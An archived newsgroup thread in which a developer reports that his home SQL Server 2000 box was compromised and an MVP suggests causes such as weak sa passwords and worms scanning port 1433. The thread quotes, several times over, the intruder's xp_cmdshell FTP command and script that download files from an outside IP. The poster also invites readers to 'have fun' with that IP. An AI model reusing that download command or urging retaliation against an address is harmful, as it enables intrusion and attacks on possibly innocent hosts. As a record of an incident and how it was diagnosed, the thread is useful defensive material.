Tibor Karaszi, SQL Server MVP
Archive at:
http://groups.google.com/groups?oi=...ublic.sqlserver
"Andre" <AndreGetsEnoughSPAM@.nospam.com> wrote in message
news:uhRbwi2$DHA.2432@.TK2MSFTNGP11.phx.gbl...
> Fortunately 14 years of SQL experience, and a little common sense, would
> never allow me to run any box without a sa password. While I'm the
> first to admit it's not "strong", I do have a password.
> It is a default instance, running on port 1433. So maybe in the future I
> should run it on a different port and just have my developers connect to
me
> on that port eh?
> Andre
>
> "Tibor Karaszi" <tibor_please.no.email_karaszi@.hotmail.nomail.com> wrote
in
> message news:e$fb$91$DHA.1032@.TK2MSFTNGP10.phx.gbl...
you
> mode,
> of
> just
>
http://groups.google.com/groups?oi=...ublic.sqlserver
is
vnc
> was
to
several
of
> this
> fun!
> compromised
> them,
I
> my
> How
> diligent
earlier,
it
>

hack using xp_cmdshell

I have a dev box running at home. The box is configured with Win2k Advanced
Server, with sp4 and all security updates. It also is running SQL 2k
Enterprise Edition with sp3a. It sits behind a Linksys firewall that is
usually sealed tight. I typically only keep 2 ports open; 5900 for vnc and
3389 for terminal server.
Occasionally, other developers I work with need to get on the box, and I'll
open 1433, and very occasionally 21, for ftp.
About a week ago I discovered my serv-u server had been hacked. There was a
new domain running. I wasn't too concerned because it had been setup to use
port 65300, which has never been open on my firewall. I traded several
emails with rhinosoft and finally just deleted the domain and kept my
fingers crossed.
Yesterday, I wanted to see if my developers were on my box so I ran sp_who2.
I saw a box that I didn't recognize, then freaked when I saw the
ProgramName - SQL Exec for NetHakcerIII. You can find a description of the
program here: http://www.timelink.cn/tianxing/netck.htm.
Upon running dbcc inputbuffer, I discovered they were running the following:
xp_cmdshell "ftp -I -n -v -s:C:\winnt\system32\vga.txt".
Vga.txt contained the following:
open 205.146.38.34 1210
user echo
tools
BINARY
mget *.*
quit
First of all...if anyone out there reading this owns this IP...the FBI will
be knocking on your door soon. Secondly, if anyone out there reading this
would like to have some fun with this punk - you have their IP - have fun!
What I'm most concerned about though is how someone could have compromised
my system. And especially xp_cmdshell. I saved a lot of information about
this person, including an outlook profile that I believe belongs to them,
but what I don't remember is the Login that this was running under. I
rebuilt my box last night, including deleting the partition. So what I
didn't save is gone. I've never granted exec on xp_cmdshell to any of my
sql users, so this person had to be running it under the sa account. How
were they able to compromise my system so easily? I've extremely diligent
about apply security updates/service packs, and as I mentioned earlier, the
box is usually locked down behind a firewall. With all ports closed it runs
in stealth mode according to grc.com.
Any info is appreciated. I can also provide additional details of the files
deposited on my box by this person too.
Thanks, AndreAndre,
I'm no security expert, so please forgive if I'm not using the right
terminology etc.
Could it be as simple as having no password for sa? This can happen is you
install SQL Server in Windows Only mode and then Switch down to Mixed mode,
for instance.
It happened to me on my home machine "this is no production server", but of
course the machine in itself got infected as well. I now always always
always assign a strong password for sa (regardless security mode) and of
course I'm using a firewall at home as well ;-).
Is the SQL Server instance a default instance? If so, some viruses will just
aim for port 1433 and try sa without password. I can assume that some
viruses can try brute force using other passwords as well, but logging
failed logins would catch that.
--
Tibor Karaszi, SQL Server MVP
Archive at:
http://groups.google.com/groups?oi=djq&as_ugroup=microsoft.public.sqlserver
"Andre" <AndreGetsEnoughSPAM@.nospam.com> wrote in message
news:eoosP61$DHA.1844@.TK2MSFTNGP11.phx.gbl...
> I have a dev box running at home. The box is configured with Win2k
Advanced
> Server, with sp4 and all security updates. It also is running SQL 2k
> Enterprise Edition with sp3a. It sits behind a Linksys firewall that is
> usually sealed tight. I typically only keep 2 ports open; 5900 for vnc
and
> 3389 for terminal server.
> Occasionally, other developers I work with need to get on the box, and
I'll
> open 1433, and very occasionally 21, for ftp.
> About a week ago I discovered my serv-u server had been hacked. There was
a
> new domain running. I wasn't too concerned because it had been setup to
use
> port 65300, which has never been open on my firewall. I traded several
> emails with rhinosoft and finally just deleted the domain and kept my
> fingers crossed.
> Yesterday, I wanted to see if my developers were on my box so I ran
sp_who2.
> I saw a box that I didn't recognize, then freaked when I saw the
> ProgramName - SQL Exec for NetHakcerIII. You can find a description of
the
> program here: http://www.timelink.cn/tianxing/netck.htm.
> Upon running dbcc inputbuffer, I discovered they were running the
following:
> xp_cmdshell "ftp -I -n -v -s:C:\winnt\system32\vga.txt".
> Vga.txt contained the following:
> open 205.146.38.34 1210
> user echo
> tools
> BINARY
> mget *.*
> quit
> First of all...if anyone out there reading this owns this IP...the FBI
will
> be knocking on your door soon. Secondly, if anyone out there reading this
> would like to have some fun with this punk - you have their IP - have fun!
> What I'm most concerned about though is how someone could have compromised
> my system. And especially xp_cmdshell. I saved a lot of information
about
> this person, including an outlook profile that I believe belongs to them,
> but what I don't remember is the Login that this was running under. I
> rebuilt my box last night, including deleting the partition. So what I
> didn't save is gone. I've never granted exec on xp_cmdshell to any of my
> sql users, so this person had to be running it under the sa account. How
> were they able to compromise my system so easily? I've extremely diligent
> about apply security updates/service packs, and as I mentioned earlier,
the
> box is usually locked down behind a firewall. With all ports closed it
runs
> in stealth mode according to grc.com.
> Any info is appreciated. I can also provide additional details of the
files
> deposited on my box by this person too.
> Thanks, Andre
>
>|||Fortunately 14 years of SQL experience, and a little common sense, would
never allow me to run any box without a sa password. :) While I'm the
first to admit it's not "strong", I do have a password.
It is a default instance, running on port 1433. So maybe in the future I
should run it on a different port and just have my developers connect to me
on that port eh?
Andre
"Tibor Karaszi" <tibor_please.no.email_karaszi@.hotmail.nomail.com> wrote in
message news:e$fb$91$DHA.1032@.TK2MSFTNGP10.phx.gbl...
> Andre,
> I'm no security expert, so please forgive if I'm not using the right
> terminology etc.
> Could it be as simple as having no password for sa? This can happen is you
> install SQL Server in Windows Only mode and then Switch down to Mixed
mode,
> for instance.
> It happened to me on my home machine "this is no production server", but
of
> course the machine in itself got infected as well. I now always always
> always assign a strong password for sa (regardless security mode) and of
> course I'm using a firewall at home as well ;-).
> Is the SQL Server instance a default instance? If so, some viruses will
just
> aim for port 1433 and try sa without password. I can assume that some
> viruses can try brute force using other passwords as well, but logging
> failed logins would catch that.
> --
> Tibor Karaszi, SQL Server MVP
> Archive at:
>
http://groups.google.com/groups?oi=djq&as_ugroup=microsoft.public.sqlserver
>
> "Andre" <AndreGetsEnoughSPAM@.nospam.com> wrote in message
> news:eoosP61$DHA.1844@.TK2MSFTNGP11.phx.gbl...
> > I have a dev box running at home. The box is configured with Win2k
> Advanced
> > Server, with sp4 and all security updates. It also is running SQL 2k
> > Enterprise Edition with sp3a. It sits behind a Linksys firewall that is
> > usually sealed tight. I typically only keep 2 ports open; 5900 for vnc
> and
> > 3389 for terminal server.
> >
> > Occasionally, other developers I work with need to get on the box, and
> I'll
> > open 1433, and very occasionally 21, for ftp.
> >
> > About a week ago I discovered my serv-u server had been hacked. There
was
> a
> > new domain running. I wasn't too concerned because it had been setup to
> use
> > port 65300, which has never been open on my firewall. I traded several
> > emails with rhinosoft and finally just deleted the domain and kept my
> > fingers crossed.
> >
> > Yesterday, I wanted to see if my developers were on my box so I ran
> sp_who2.
> > I saw a box that I didn't recognize, then freaked when I saw the
> > ProgramName - SQL Exec for NetHakcerIII. You can find a description of
> the
> > program here: http://www.timelink.cn/tianxing/netck.htm.
> >
> > Upon running dbcc inputbuffer, I discovered they were running the
> following:
> > xp_cmdshell "ftp -I -n -v -s:C:\winnt\system32\vga.txt".
> >
> > Vga.txt contained the following:
> > open 205.146.38.34 1210
> > user echo
> > tools
> > BINARY
> > mget *.*
> > quit
> >
> > First of all...if anyone out there reading this owns this IP...the FBI
> will
> > be knocking on your door soon. Secondly, if anyone out there reading
this
> > would like to have some fun with this punk - you have their IP - have
fun!
> >
> > What I'm most concerned about though is how someone could have
compromised
> > my system. And especially xp_cmdshell. I saved a lot of information
> about
> > this person, including an outlook profile that I believe belongs to
them,
> > but what I don't remember is the Login that this was running under. I
> > rebuilt my box last night, including deleting the partition. So what I
> > didn't save is gone. I've never granted exec on xp_cmdshell to any of
my
> > sql users, so this person had to be running it under the sa account.
How
> > were they able to compromise my system so easily? I've extremely
diligent
> > about apply security updates/service packs, and as I mentioned earlier,
> the
> > box is usually locked down behind a firewall. With all ports closed it
> runs
> > in stealth mode according to grc.com.
> >
> > Any info is appreciated. I can also provide additional details of the
> files
> > deposited on my box by this person too.
> >
> > Thanks, Andre
> >
> >
> >
>|||> Fortunately 14 years of SQL experience, and a little common sense, would
> never allow me to run any box without a sa password. :)
Good. :-) I didn't really imply that you were, I was just sharing my
experiences and speculated around things that could have caused this.
Possibly, they cracked your password and used xp_cmdshell to spread in the
machine. Or, possibly some other way, of course.
Assuming they used xp_cmdshell, consider the service account and what
permissions it has in the domain and on that machine.
> It is a default instance, running on port 1433. So maybe in the future I
> should run it on a different port and just have my developers connect to
me
> on that port eh?
Yep. However, I don't know how difficult it would be to use some sort of
port scan to find the port number.
--
Tibor Karaszi, SQL Server MVP
Archive at:
http://groups.google.com/groups?oi=djq&as_ugroup=microsoft.public.sqlserver
"Andre" <AndreGetsEnoughSPAM@.nospam.com> wrote in message
news:uhRbwi2$DHA.2432@.TK2MSFTNGP11.phx.gbl...
> Fortunately 14 years of SQL experience, and a little common sense, would
> never allow me to run any box without a sa password. :) While I'm the
> first to admit it's not "strong", I do have a password.
> It is a default instance, running on port 1433. So maybe in the future I
> should run it on a different port and just have my developers connect to
me
> on that port eh?
> Andre
>
> "Tibor Karaszi" <tibor_please.no.email_karaszi@.hotmail.nomail.com> wrote
in
> message news:e$fb$91$DHA.1032@.TK2MSFTNGP10.phx.gbl...
> > Andre,
> >
> > I'm no security expert, so please forgive if I'm not using the right
> > terminology etc.
> > Could it be as simple as having no password for sa? This can happen is
you
> > install SQL Server in Windows Only mode and then Switch down to Mixed
> mode,
> > for instance.
> > It happened to me on my home machine "this is no production server", but
> of
> > course the machine in itself got infected as well. I now always always
> > always assign a strong password for sa (regardless security mode) and of
> > course I'm using a firewall at home as well ;-).
> >
> > Is the SQL Server instance a default instance? If so, some viruses will
> just
> > aim for port 1433 and try sa without password. I can assume that some
> > viruses can try brute force using other passwords as well, but logging
> > failed logins would catch that.
> >
> > --
> > Tibor Karaszi, SQL Server MVP
> > Archive at:
> >
>
http://groups.google.com/groups?oi=djq&as_ugroup=microsoft.public.sqlserver
> >
> >
> > "Andre" <AndreGetsEnoughSPAM@.nospam.com> wrote in message
> > news:eoosP61$DHA.1844@.TK2MSFTNGP11.phx.gbl...
> > > I have a dev box running at home. The box is configured with Win2k
> > Advanced
> > > Server, with sp4 and all security updates. It also is running SQL 2k
> > > Enterprise Edition with sp3a. It sits behind a Linksys firewall that
is
> > > usually sealed tight. I typically only keep 2 ports open; 5900 for
vnc
> > and
> > > 3389 for terminal server.
> > >
> > > Occasionally, other developers I work with need to get on the box, and
> > I'll
> > > open 1433, and very occasionally 21, for ftp.
> > >
> > > About a week ago I discovered my serv-u server had been hacked. There
> was
> > a
> > > new domain running. I wasn't too concerned because it had been setup
to
> > use
> > > port 65300, which has never been open on my firewall. I traded
several
> > > emails with rhinosoft and finally just deleted the domain and kept my
> > > fingers crossed.
> > >
> > > Yesterday, I wanted to see if my developers were on my box so I ran
> > sp_who2.
> > > I saw a box that I didn't recognize, then freaked when I saw the
> > > ProgramName - SQL Exec for NetHakcerIII. You can find a description
of
> > the
> > > program here: http://www.timelink.cn/tianxing/netck.htm.
> > >
> > > Upon running dbcc inputbuffer, I discovered they were running the
> > following:
> > > xp_cmdshell "ftp -I -n -v -s:C:\winnt\system32\vga.txt".
> > >
> > > Vga.txt contained the following:
> > > open 205.146.38.34 1210
> > > user echo
> > > tools
> > > BINARY
> > > mget *.*
> > > quit
> > >
> > > First of all...if anyone out there reading this owns this IP...the FBI
> > will
> > > be knocking on your door soon. Secondly, if anyone out there reading
> this
> > > would like to have some fun with this punk - you have their IP - have
> fun!
> > >
> > > What I'm most concerned about though is how someone could have
> compromised
> > > my system. And especially xp_cmdshell. I saved a lot of information
> > about
> > > this person, including an outlook profile that I believe belongs to
> them,
> > > but what I don't remember is the Login that this was running under. I
> > > rebuilt my box last night, including deleting the partition. So what
I
> > > didn't save is gone. I've never granted exec on xp_cmdshell to any of
> my
> > > sql users, so this person had to be running it under the sa account.
> How
> > > were they able to compromise my system so easily? I've extremely
> diligent
> > > about apply security updates/service packs, and as I mentioned
earlier,
> > the
> > > box is usually locked down behind a firewall. With all ports closed
it
> > runs
> > > in stealth mode according to grc.com.
> > >
> > > Any info is appreciated. I can also provide additional details of the
> > files
> > > deposited on my box by this person too.
> > >
> > > Thanks, Andre
> > >
> > >
> > >
> >
> >
>